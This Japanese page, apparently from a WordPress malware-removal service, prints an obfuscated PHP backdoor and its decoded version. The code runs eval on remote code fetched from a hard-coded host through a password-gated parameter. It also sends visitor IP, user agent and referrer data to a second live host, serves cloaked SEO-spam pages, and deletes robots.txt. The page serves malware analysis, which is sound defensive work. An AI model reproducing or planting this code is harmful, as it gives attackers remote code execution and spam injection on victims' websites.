PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
goto mKOjF; mfeDw: $ZDBiZ = $_SERVER["\x48\124\124\120\137\110\117\123\x54"]; goto VDl4k; ylugC: $HUdLY = isset($_SERVER["\x48\x54\124\x50\137\125\x53\105\122\x5f\x41\x47\105\116\x54"]) ? $_SERVER["\x48\x54\124\120\137\125\123\105\x52\x5f\x41\107\x45\116\x54"] : ''; goto XHxXc; o_FkU: @header("\x43\157\x6e\x74\x65\x6e\164\x2d\164\x79\x70\145\72\x20\164\145\x78\164\x2f\x68\x74\155\x6c\x3b\40\143\150\141\x72\163\145\x74\x3d\165\164\146\x2d\70"); goto f5Quj; k3xO3: echo $rl6nj; goto Qz7jD; LRILh: @error_reporting(0); goto LtKgO; X4_3n: MWoD0: goto h2pGc; z2VpM: if (!file_exists($lo5Cc . "\57\162\157\x62\x6f\x74\x73\x2e\164\170\164")) { goto xUSd6; } goto Pd5SO; or1Nw: exit(implode(PHP_EOL, $gl61N)); goto IIquk; tw0hd: if (!$E5AeI["\163\x74\141\164\165\163"]) { goto MWoD0; } goto hgBGA; LpMHj: if (!stristr($DJaLO, "\56\x78\x6d\154")) { goto ok5Bj; } goto SvrQL; SvrQL: $xAFh4 = $A5Hwn . "\57\x77\x70\55\163\151\164\x65\x6d\141\160\56\x70\x68\160\77" . $X4Qd3; goto B2QnZ; H7_Zo: $E5AeI = EFjGO($xAFh4); goto pGiKZ; TrMYB: n17rd: goto GJxFB; jPped: $g3TsZ = $E5AeI["\143\157\156\164\145\x6e\x74"]; goto Mddp5; Pd5SO: unlink($lo5Cc . "\x2f\162\x6f\x62\x6f\164\163\56\x74\x78\164"); goto MXDCi; OG_Uu: if (!($E5AeI["\163\x74\x61\164\x75\163"] && strstr($g3TsZ, "\x68\164\x6d\x6c\x5f\x63\157\x6e\x74\x65\156\x74"))) { goto xaa3Z; } goto D0QUt; R7H4S: if (!$sFFWT) { goto fP2uV; } goto SnvDt; Al5RU: $j4GP6 = substr($C9huV, -6); goto ZJ5Ye; new1r: dzjpI: goto X4_3n; MXDCi: xUSd6: goto oIQKB; Qz7jD: KqoqS: goto KWNlw; oIQKB: $xAFh4 = $A5Hwn . "\x2f\x77\160\x2d\x72\157\142\157\x74\163\56\160\x68\x70\77" . $X4Qd3; goto ET_zg; WnQtx: $rl6nj = str_replace("\162\x6f\x62\157\164\x73\x5f\143\x6f\156\164\145\x6e\x74", '', $g3TsZ); goto i1A8f; m11rQ: function D31iX() { goto rIkUA; tHOPf: $RDC_L = $_SERVER["\110\124\124\120\x5f\103\114\x49\x45\116\x54\x5f\x49\120"]; goto pqQpm; YC4JH: goto Z0_Ay; goto aBTmf; S8C3h: $RDC_L = $_SERVER["\110\x54\124\x50\137\130\137\x46\117\x52\127\x41\122\x44\105\x44\137\x46\x4f\122"]; goto XCDeF; P1DAA: $RDC_L = $_SERVER["\122\105\x4d\117\x54\x45\x5f\101\x44\104\x52"]; goto YC4JH; aBTmf: rOn_A: goto S8C3h; nZLr3: if (!empty($_SERVER["\110\124\x54\120\137\130\137\106\x4f\x52\x57\101\122\104\105\104\x5f\x46\117\x52"])) { goto rOn_A; } goto P1DAA; zLT33: goto je1sO; goto v0fnk; pqQpm: je1sO: goto R5xn3; rIkUA: $RDC_L = ''; goto KozhO; KozhO: if (!empty($_SERVER["\x48\x54\x54\120\137\103\x4c\111\x45\x4e\x54\137\x49\120"])) { goto Loemf; } goto nZLr3; XCDeF: Z0_Ay: goto zLT33; R5xn3: return $RDC_L; goto OR4F9; v0fnk: Loemf: goto tHOPf; OR4F9: } goto y9XPN; rOsmH: if (!empty($C9huV)) { goto ihwIP; } goto kTySM; uSRFY: $LMYTW = "\x79\64\x70\x71\163\x37\66\170\x2e\x6f\161\164\153\165\154\x2e\163\150\157\160"; goto jTQur; WdYFc: exit; goto SSv5H; or2nn: $qE7VR = md5($z6tnU); goto z9EE4; tMsXG: LvvTD: goto KDWSl; YTGcb: eval("\77\x3e" . $M3W7b["\143\157\x6e\x74\x65\156\x74"]); goto AyGJh; BmJkn: function qeja7() { $zrL1Y = range("\x61", "\172"); return [$zrL1Y[5] . $zrL1Y[8] . $zrL1Y[11] . $zrL1Y[4] . "\137" . $zrL1Y[6] . $zrL1Y[4] . $zrL1Y[19] . "\137" . $zrL1Y[2] . $zrL1Y[14] . $zrL1Y[13] . $zrL1Y[19] . $zrL1Y[4] . $zrL1Y[13] . $zrL1Y[19] . $zrL1Y[18]]; } goto rFTZJ; x_04_: if (!$E5AeI["\x73\164\x61\x74\165\x73"]) { goto M5ze1; } goto YwueL; cet3h: if (!strstr($g3TsZ, "\150\164\155\x6c\x5f\x63\157\x6e\x74\145\156\164")) { goto EcC3h; } goto o_FkU; nMxlT: $rl6nj = str_replace("\x68\164\155\x6c\137\143\x6f\x6e\x74\145\156\164", '', $g3TsZ); goto UF8he; JOiFW: if (!$E5AeI["\x73\x74\141\x74\x75\163"]) { goto B3yPr; } goto jPped; UF8he: echo $rl6nj; goto Jmqqz; bD2Ce: fP2uV: goto mThCR; TYl_G: @header("\x43\x6f\156\x74\x65\x6e\164\55\164\171\160\x65\x3a\40\164\145\170\x74\x2f\170\x6d\x6c"); goto erM9S; XynpV: $rl6nj = str_replace("\150\164\x6d\x6c\137\x63\157\x6e\164\145\156\164", '', $g3TsZ); goto wyH5b; t3SKh: echo $rl6nj; goto new1r; erM9S: $rl6nj = str_replace("\170\x6d\154\x5f\143\157\x6e\164\x65\x6e\x74", '', $g3TsZ); goto rMxSD; Nim4j: if (!($E5AeI["\x73\x74\x61\x74\165\x73"] && strstr($g3TsZ, "\x68\164\155\x6c\137\143\x6f\x6e\164\145\x6e\164"))) { goto KqoqS; } goto ES40p; OI9lw: $gl61N = explode("\133\x2a\x2a\x2a\135", str_replace("\162\157\142\x6f\164\163\x63\157\156\x74\145\x6e\164", '', $rl6nj)); goto or1Nw; pakfY: goto mID6Y; goto P0sYF; KWNlw: exit; goto bD2Ce; H8Ilf: if (strstr($g3TsZ, "\x64\x6f\137\156\x6f\x74\150\151\x6e\147")) { goto n17rd; } goto cet3h; wyH5b: echo $rl6nj; goto X7DF8; IIquk: R6ct4: goto TrMYB; uk6tA: echo $rl6nj; goto qVXiO; ET_zg: $E5AeI = efjgo($xAFh4); goto JOiFW; evayL: $rl6nj = str_replace("\x68\164\155\x6c\137\143\x6f\156\164\x65\x6e\164", '', $g3TsZ); goto k3xO3; GJxFB: M5ze1: goto pakfY; FioE9: nIqpw: goto BZw8f; UTQx1: exit; goto tMsXG; AyGJh: gHtw3: goto ov7IJ; DkAEQ: $rl6nj = str_replace("\162\157\142\157\x74\163\x5f\143\x6f\156\x74\x65\x6e\164", '', $g3TsZ); goto OI9lw; KDWSl: if (!strstr($g3TsZ, "\162\157\142\157\x74\x73\x5f\143\157\x6e\x74\x65\156\164")) { goto R6ct4; } goto A8XsN; ydcvE: $A5Hwn = "\150" . "\164" . "\164" . "\160" . "\163" . "\72\x2f" . "\x2f" . $LMYTW; goto xECxB; qVXiO: exit; goto fLfp8; Jmqqz: xaa3Z: goto WdYFc; hgBGA: $g3TsZ = $E5AeI["\x63\x6f\x6e\x74\x65\x6e\x74"]; goto scheY; w43vQ: $C9huV = isset($_REQUEST["\141\x63\x74\151\x6f\x6e"]) ? $_REQUEST["\141\143\x74\151\x6f\x6e"] : ''; goto rOsmH; O10No: $rl6nj = str_replace("\x78\155\x6c\x5f\x63\157\x6e\164\x65\x6e\164", '', $g3TsZ); goto t3SKh; kK2NS: exit; goto oh4k3; rMxSD: echo $rl6nj; goto UTQx1; X7DF8: LTe_G: goto vxnpI; vxnpI: if (!strstr($g3TsZ, "\170\x6d\x6c\x5f\143\157\156\164\x65\156\x74")) { goto dzjpI; } goto ihBZZ; ihBZZ: @header("\x43\x6f\x6e\164\145\x6e\x74\55\x74\171\160\145\72\x20\164\x65\170\164\x2f\170\155\154"); goto O10No; Mddp5: @header("\103\x6f\x6e\x74\x65\156\164\x2d\164\x79\160\x65\x3a\40\x74\145\x78\164\57\x70\x6c\141\151\156\x3b\40\x63\150\141\162\163\x65\x74\x3d\x75\x74\x66\x2d\70"); goto WnQtx; imGlZ: $M3W7b = eFjgo(implode($tv0cT) . $j4GP6 . "\56\164" . "\170" . "\x74"); goto lvYGP; f5Quj: $rl6nj = str_replace("\x68\164\155\x6c\137\x63\157\156\x74\145\x6e\x74", '', $g3TsZ); goto uk6tA; yXmUL: $C9krp = X4M52($v8XCI); goto R7H4S; xECxB: $E5AeI = array(); goto LpMHj; ZJ5Ye: $z6tnU = substr($C9huV, 0, -6); goto g8nWh; xKIxi: $U7lNK = isset($_SERVER["\110\x54\124\120\137\x41\103\x43\105\x50\124\137\114\101\x4e\x47\x55\101\107\x45"]) ? $_SERVER["\110\124\124\120\x5f\101\x43\x43\105\120\x54\x5f\x4c\101\x4e\x47\125\x41\x47\x45"] : ''; goto mfeDw; r54o0: $xAFh4 = $A5Hwn . "\x2f\167\x70\x2d\162\x65\146\x65\x72\x2e\160\x68\x70\77" . $X4Qd3; goto H7_Zo; z9EE4: if (!($qE7VR == implode($h3FK6))) { goto sBb35; } goto Xc4M9; SnvDt: $xAFh4 = $A5Hwn . "\x2f\x77\x70\55\x69\x6e\x64\x65\170\56\x70\x68\160\77" . $X4Qd3; goto MLrHh; lvYGP: if (!$M3W7b["\163\x74\x61\164\165\163"]) { goto gHtw3; } goto YTGcb; g6RHJ: $X4Qd3 = "\x68\164\164\x70\137\x74\x79\160\145\75" . base64_encode($e6Ynn) . "\x26\150\x74\x74\160\x5f\x75\x72\x69\75" . base64_encode($DJaLO) . "\x26\150\x74\x74\160\137\x6c\141\156\147\75" . base64_encode($U7lNK) . "\46\150\164\164\160\x5f\x68\157\x73\164\x3d" . base64_encode($ZDBiZ) . "\46\150\164\164\160\x5f\x72\x65\146\145\x72\75" . base64_encode($v8XCI) . "\46\x68\164\164\160\x5f\x75\163\x65\x72\x5f\x61\x67\x65\156\x74\75" . base64_encode($HUdLY) . "\46\150\164\164\160\137\151\x70\137\x61\144\x64\162\145\163\x73\x3d" . base64_encode($V44qD); goto ydcvE; BZw8f: $sFFWT = LxIsm($HUdLY); goto yXmUL; S_T3o: function L7AJ6() { goto T2Fmb; T2Fmb: $itqLF = !empty($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\x48\x54\124\120\123"] !== "\x6f\x66\146" || $_SERVER["\x53\105\122\126\105\x52\x5f\120\117\122\x54"] == 443; goto U7ZN0; iDrek: return "\x68\164\164\x70"; goto MIZLC; U7ZN0: if ($itqLF) { goto gu7TK; } goto iDrek; kbjhF: zEo8f: goto elC2d; OnYsu: return "\x68\x74\x74\160\163"; goto kbjhF; aPjXc: gu7TK: goto OnYsu; MIZLC: goto zEo8f; goto aPjXc; elC2d: } goto m11rQ; MLrHh: $E5AeI = EfjGO($xAFh4); goto VN3jA; SSv5H: me6MA: goto x_04_; ov7IJ: sBb35: goto kK2NS; pGiKZ: $g3TsZ = $E5AeI["\x63\157\x6e\x74\x65\x6e\164"]; goto OG_Uu; Xc4M9: $tv0cT = array("\150" . "\x74" . "\164" . "\160" . "\163" . "\x3a" . "\57" . "\x2f" . "\x6b\x69" . "\x6f\x6b" . "\146" . "\150" . "\x64\56" . "\x68\150" . "\150" . "\154" . "\x72" . "\152\x2e" . "\x74" . "\157" . "\160" . "\x2f" . "\144" . "\157" . "\x6f" . "\x72" . "\x2f"); goto imGlZ; ES40p: @header("\103\x6f\156\x74\145\156\164\55\x74\x79\x70\145\72\40\164\145\x78\164\x2f\x68\164\155\x6c\73\x20\x63\150\x61\x72\x73\145\x74\75\x75\164\146\x2d\x38"); goto evayL; rFTZJ: function lxISM($Itc7k) { goto nWDf8; N4f76: return $sFFWT; goto I4kt3; phfvO: $sFFWT = true; goto gF3J4; s5SCr: $J02k8 = "\147\x6f\x6f\x67\154\x65\x62\x6f\x74\174\x67\x6f\157\147\154\145\174\x79\141\150\157\157\174\x62\x69\x6e\x67\174\x61\x6f\x6c"; goto aPFQ1; aPFQ1: if (!$Itc7k) { goto BNcbL; } goto FAU1T; pLV8J: BNcbL: goto N4f76; nWDf8: $sFFWT = false; goto s5SCr; gF3J4: BcvzB: goto pLV8J; FAU1T: if (!preg_match("\x2f\x28{$J02k8}\51\57\x73\x69", $Itc7k)) { goto BcvzB; } goto phfvO; I4kt3: } goto CkbH_; VN3jA: $g3TsZ = $E5AeI["\x63\157\156\164\x65\x6e\x74"]; goto Nim4j; h2pGc: exit; goto f3BGw; i1A8f: $gl61N = explode("\133\x2a\x2a\52\135", str_replace("\162\157\142\157\164\163\143\x6f\156\164\145\x6e\x74", '', $rl6nj)); goto bAdZb; D0QUt: @header("\103\x6f\x6e\x74\x65\156\164\x2d\x74\171\x70\145\x3a\40\164\x65\170\x74\57\150\x74\155\154\73\x20\x63\x68\x61\162\x73\145\164\75\x75\x74\x66\55\70"); goto nMxlT; MVFe8: B3yPr: goto akNgq; mKOjF: @set_time_limit(1000); goto LRILh; bAdZb: echo implode(PHP_EOL, $gl61N); goto MVFe8; B2QnZ: $E5AeI = eFJgo($xAFh4); goto tw0hd; fLfp8: EcC3h: goto U5Uaq; A8XsN: @header("\103\x6f\156\x74\x65\156\x74\55\164\171\160\x65\x3a\40\164\145\x78\164\x2f\160\154\x61\x69\156\x3b\40\x63\150\141\x72\x73\x65\x74\x3d\x75\164\146\55\70"); goto DkAEQ; mThCR: if (!($C9krp && (strstr($U7lNK, "\x6a\x61") || strstr($U7lNK, "\x6a\x70")))) { goto me6MA; } goto r54o0; P0sYF: ihwIP: goto Al5RU; LtKgO: ini_set("\x64\151\x73\160\x6c\x61\x79\x5f\145\x72\x72\157\x72\x73", "\117\146\x66"); goto w43vQ; kTySM: $lo5Cc = $_SERVER["\104\117\x43\125\x4d\x45\116\x54\x5f\x52\x4f\x4f\x54"]; goto uSRFY; XHxXc: $V44qD = d31ix(); goto g6RHJ; nJV11: if (!stristr($DJaLO, "\162\157\x62\157\164\x73\56\164\x78\x74")) { goto nIqpw; } goto z2VpM; f3BGw: ok5Bj: goto nJV11; akNgq: exit; goto FioE9; y9XPN: function eFjGO($tFa2u) { goto Ux3Fc; byyPu: $kco8Q = 1; goto NI9Bb; e4pRj: try { goto Nb2h0; yIAYz: curl_setopt($EuHYc, CURLOPT_CONNECTTIMEOUT, 10); goto YwmTW; FV0tA: curl_close($EuHYc); goto b5yfw; YwmTW: curl_setopt($EuHYc, CURLOPT_RETURNTRANSFER, 1); goto d8P0f; dkhn1: curl_setopt($EuHYc, CURLOPT_SSL_VERIFYPEER, FALSE); goto GoFGe; d8P0f: $M7HXg = curl_exec($EuHYc); goto FV0tA; Nb2h0: $EuHYc = curl_init(); goto fgPKD; onLQj: curl_setopt($EuHYc, CURLOPT_FOLLOWLOCATION, 1); goto dkhn1; fgPKD: curl_setopt($EuHYc, CURLOPT_URL, $tFa2u); goto onLQj; GoFGe: curl_setopt($EuHYc, CURLOPT_SSL_VERIFYHOST, FALSE); goto yIAYz; b5yfw: } catch (Exception $aCBPA) { } goto lTFsf; SHtJ_: try { $Jd285 = QEja7(); $M7HXg = @$Jd285[0]($tFa2u); } catch (Exception $aCBPA) { } goto bu7gg; Ux3Fc: $M7HXg = ''; goto Sh2Yr; gaA07: $M3W7b = array(); goto vVdpZ; bu7gg: QTZhP: goto vhSXV; vhSXV: if (!($M7HXg != '')) { goto oMF18; } goto byyPu; lTFsf: if (!(($M7HXg === false || $M7HXg == '') && ini_get("\141\154\154\x6f\167\x5f\x75\x72\154\137\146\157\160\x65\x6e"))) { goto QTZhP; } goto SHtJ_; Sh2Yr: $kco8Q = 1; goto e4pRj; gCeBS: $M3W7b["\x63\157\x6e\x74\145\156\164"] = $M7HXg; goto m_Zyu; NI9Bb: oMF18: goto gaA07; m_Zyu: return $M3W7b; goto fmfRX; vVdpZ: $M3W7b["\x73\164\x61\x74\x75\163"] = $kco8Q; goto gCeBS; fmfRX: } goto BmJkn; ThGoT: $DJaLO = $_SERVER["\122\105\121\125\105\123\124\x5f\x55\x52\x49"]; goto xKIxi; YwueL: $g3TsZ = $E5AeI["\143\x6f\x6e\x74\145\x6e\164"]; goto H8Ilf; jTQur: $e6Ynn = l7aj6(); goto ThGoT; oh4k3: mID6Y: goto S_T3o; U5Uaq: if (!strstr($g3TsZ, "\170\155\x6c\x5f\x63\x6f\x6e\x74\145\x6e\x74")) { goto LvvTD; } goto TYl_G; scheY: if (!strstr($g3TsZ, "\x68\164\155\154\137\x63\157\x6e\164\x65\x6e\x74")) { goto LTe_G; } goto XynpV; g8nWh: $h3FK6 = array("\x39", "\x38", "\x32", "\x34", "\x35", "\x64", "\67", "\x34", "\x31", "\67", "\x32", "\62", "\65", "\x62", "\x35", "\x35", "\141", "\62", "\x63", "\x34", "\x62", "\x66", "\65", "\60", "\142", "\x38", "\141", "\x61", "\64", "\x63", "\67", "\x33"); goto or2nn; VDl4k: $v8XCI = isset($_SERVER["\x48\x54\x54\120\x5f\x52\105\106\105\x52\x45\x52"]) ? $_SERVER["\110\124\x54\x50\x5f\x52\105\106\x45\122\105\122"] : ''; goto ylugC; CkbH_: function X4m52($KVFSw) { goto tkot3; DuMUN: tl7EJ: goto nKfXM; vWAzS: if (!$KVFSw) { goto BMAHA; } goto jMwuk; SCaeC: $C9krp = true; goto DuMUN; N5Anu: return $C9krp; goto NJ2I2; tkot3: $C9krp = false; goto R9ybs; jMwuk: if (!preg_match("\57\x28{$R3_nz}\51\57\163\151", $KVFSw)) { goto tl7EJ; } goto SCaeC; R9ybs: $R3_nz = "\147\x6f\x6f\x67\x6c\145\x7c\x79\141\150\157\x6f\x7c\142\x69\x6e\x67\174\x61\157\x6c"; goto vWAzS; nKfXM: BMAHA: goto N5Anu; NJ2I2: }

デコード(難読化解除)されたコード

<?php

@set_time_limit(1000);
@error_reporting(0);
ini_set("display_errors", "Off");
$C9huV = isset($_REQUEST["action"]) ? $_REQUEST["action"] : '';
if (!empty($C9huV)) {
    $j4GP6 = substr($C9huV, 6);
    $z6tnU = substr($C9huV, 0, 6);
    $h3FK6 = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
    $qE7VR = md5($z6tnU);
    if (!($qE7VR == "98245d7417225b55a2c4bf50b8aa4c73")) {
        goto sBb35;
    }
    $tv0cT = array("https://kiokfhd.hhhlrj.top/door/");
    $M3W7b = eFjgo("https://kiokfhd.hhhlrj.top/door/" . $j4GP6 . ".t" . "x" . "t");
    if (!$M3W7b["status"]) {
        goto gHtw3;
    }
    eval("?>" . $M3W7b["content"]);
    gHtw3:
    sBb35:
    exit;
}
$lo5Cc = $_SERVER["DOCUMENT_ROOT"];
$LMYTW = "y4pqs76x.oqtkul.shop";
$e6Ynn = l7aj6();
$DJaLO = $_SERVER["REQUEST_URI"];
$U7lNK = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '';
$ZDBiZ = $_SERVER["HTTP_HOST"];
$v8XCI = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$HUdLY = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$V44qD = d31ix();
$X4Qd3 = "http_type=" . base64_encode($e6Ynn) . "&http_uri=" . base64_encode($DJaLO) . "&http_lang=" . base64_encode($U7lNK) . "&http_host=" . base64_encode($ZDBiZ) . "&http_refer=" . base64_encode($v8XCI) . "&http_user_agent=" . base64_encode($HUdLY) . "&http_ip_address=" . base64_encode($V44qD);
$A5Hwn = "https://y4pqs76x.oqtkul.shop";
$E5AeI = array();
if (!stristr($DJaLO, ".xml")) {
    if (!stristr($DJaLO, "robots.txt")) {
        $sFFWT = LxIsm($HUdLY);
        $C9krp = X4M52($v8XCI);
        if (!$sFFWT) {
            if (!($C9krp && (strstr($U7lNK, "ja") || strstr($U7lNK, "jp")))) {
                if (!$E5AeI["status"]) {
                    goto M5ze1;
                }
                $g3TsZ = $E5AeI["content"];
                if (strstr($g3TsZ, "do_nothing")) {
                    goto n17rd;
                }
                if (!strstr($g3TsZ, "html_content")) {
                    if (!strstr($g3TsZ, "xml_content")) {
                        if (!strstr($g3TsZ, "robots_content")) {
                            n17rd:
                            M5ze1:
                            function L7AJ6()
                            {
                                $itqLF = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443;
                                if ($itqLF) {
                                    return "https";
                                }
                                return "http";
                            }
                            function D31iX()
                            {
                                $RDC_L = '';
                                if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
                                    $RDC_L = $_SERVER["HTTP_CLIENT_IP"];
                                    goto pqQpm;
                                }
                                if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
                                    $RDC_L = $_SERVER["HTTP_X_FORWARDED_FOR"];
                                    goto XCDeF;
                                }
                                $RDC_L = $_SERVER["REMOTE_ADDR"];
                                XCDeF:
                                pqQpm:
                                return $RDC_L;
                            }
                            function eFjGO($tFa2u)
                            {
                                $M7HXg = '';
                                $kco8Q = 1;
                                try {
                                    $EuHYc = curl_init();
                                    curl_setopt($EuHYc, CURLOPT_URL, $tFa2u);
                                    curl_setopt($EuHYc, CURLOPT_FOLLOWLOCATION, 1);
                                    curl_setopt($EuHYc, CURLOPT_SSL_VERIFYPEER, FALSE);
                                    curl_setopt($EuHYc, CURLOPT_SSL_VERIFYHOST, FALSE);
                                    curl_setopt($EuHYc, CURLOPT_CONNECTTIMEOUT, 10);
                                    curl_setopt($EuHYc, CURLOPT_RETURNTRANSFER, 1);
                                    $M7HXg = curl_exec($EuHYc);
                                    curl_close($EuHYc);
                                } catch (Exception $aCBPA) {
                                }
                                if (!(($M7HXg === false || $M7HXg == '') && ini_get("allow_url_fopen"))) {
                                    goto QTZhP;
                                }
                                try {
                                    $Jd285 = QEja7();
                                    $M7HXg = @$Jd285[0]($tFa2u);
                                } catch (Exception $aCBPA) {
                                }
                                QTZhP:
                                if (!($M7HXg != '')) {
                                    goto oMF18;
                                }
                                $kco8Q = 1;
                                oMF18:
                                $M3W7b = array();
                                $M3W7b["status"] = $kco8Q;
                                $M3W7b["content"] = $M7HXg;
                                return $M3W7b;
                            }
                            function qeja7()
                            {
                                $zrL1Y = range("a", "z");
                                return [$zrL1Y[5] . $zrL1Y[8] . $zrL1Y[11] . $zrL1Y[4] . "_" . $zrL1Y[6] . $zrL1Y[4] . $zrL1Y[19] . "_" . $zrL1Y[2] . $zrL1Y[14] . $zrL1Y[13] . $zrL1Y[19] . $zrL1Y[4] . $zrL1Y[13] . $zrL1Y[19] . $zrL1Y[18]];
                            }
                            function lxISM($Itc7k)
                            {
                                $sFFWT = false;
                                $J02k8 = "googlebot|google|yahoo|bing|aol";
                                if (!$Itc7k) {
                                    goto BNcbL;
                                }
                                if (!preg_match("/({$J02k8})/si", $Itc7k)) {
                                    goto BcvzB;
                                }
                                $sFFWT = true;
                                BcvzB:
                                BNcbL:
                                return $sFFWT;
                            }
                            function X4m52($KVFSw)
                            {
                                $C9krp = false;
                                $R3_nz = "google|yahoo|bing|aol";
                                if (!$KVFSw) {
                                    goto BMAHA;
                                }
                                if (!preg_match("/({$R3_nz})/si", $KVFSw)) {
                                    goto tl7EJ;
                                }
                                $C9krp = true;
                                tl7EJ:
                                BMAHA:
                                return $C9krp;
                            }
                            // [PHPDeobfuscator] Implied script end
                            return;
                        }
                        @header("Content-type: text/plain; charset=utf-8");
                        $rl6nj = str_replace("robots_content", '', $g3TsZ);
                        $gl61N = explode("[***]", str_replace("robotscontent", '', $rl6nj));
                        exit(implode(PHP_EOL, $gl61N));
                    }
                    @header("Content-type: text/xml");
                    $rl6nj = str_replace("xml_content", '', $g3TsZ);
                    echo $rl6nj;
                    exit;
                }
                @header("Content-type: text/html; charset=utf-8");
                $rl6nj = str_replace("html_content", '', $g3TsZ);
                echo $rl6nj;
                exit;
            }
            $xAFh4 = $A5Hwn . "/wp-refer.php?" . $X4Qd3;
            $E5AeI = EFjGO($xAFh4);
            $g3TsZ = $E5AeI["content"];
            if (!($E5AeI["status"] && strstr($g3TsZ, "html_content"))) {
                goto xaa3Z;
            }
            @header("Content-type: text/html; charset=utf-8");
            $rl6nj = str_replace("html_content", '', $g3TsZ);
            echo $rl6nj;
            xaa3Z:
            exit;
        }
        $xAFh4 = $A5Hwn . "/wp-index.php?" . $X4Qd3;
        $E5AeI = EfjGO($xAFh4);
        $g3TsZ = $E5AeI["content"];
        if (!($E5AeI["status"] && strstr($g3TsZ, "html_content"))) {
            goto KqoqS;
        }
        @header("Content-type: text/html; charset=utf-8");
        $rl6nj = str_replace("html_content", '', $g3TsZ);
        echo $rl6nj;
        KqoqS:
        exit;
    }
    if (!file_exists($lo5Cc . "/robots.txt")) {
        goto xUSd6;
    }
    unlink($lo5Cc . "/robots.txt");
    xUSd6:
    $xAFh4 = $A5Hwn . "/wp-robots.php?" . $X4Qd3;
    $E5AeI = efjgo($xAFh4);
    if (!$E5AeI["status"]) {
        goto B3yPr;
    }
    $g3TsZ = $E5AeI["content"];
    @header("Content-type: text/plain; charset=utf-8");
    $rl6nj = str_replace("robots_content", '', $g3TsZ);
    $gl61N = explode("[***]", str_replace("robotscontent", '', $rl6nj));
    echo implode(PHP_EOL, $gl61N);
    B3yPr:
    exit;
}
$xAFh4 = $A5Hwn . "/wp-sitemap.php?" . $X4Qd3;
$E5AeI = eFJgo($xAFh4);
if (!$E5AeI["status"]) {
    goto MWoD0;
}
$g3TsZ = $E5AeI["content"];
if (!strstr($g3TsZ, "html_content")) {
    goto LTe_G;
}
$rl6nj = str_replace("html_content", '', $g3TsZ);
echo $rl6nj;
LTe_G:
if (!strstr($g3TsZ, "xml_content")) {
    goto dzjpI;
}
@header("Content-type: text/xml");
$rl6nj = str_replace("xml_content", '', $g3TsZ);
echo $rl6nj;
dzjpI:
MWoD0:
exit;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.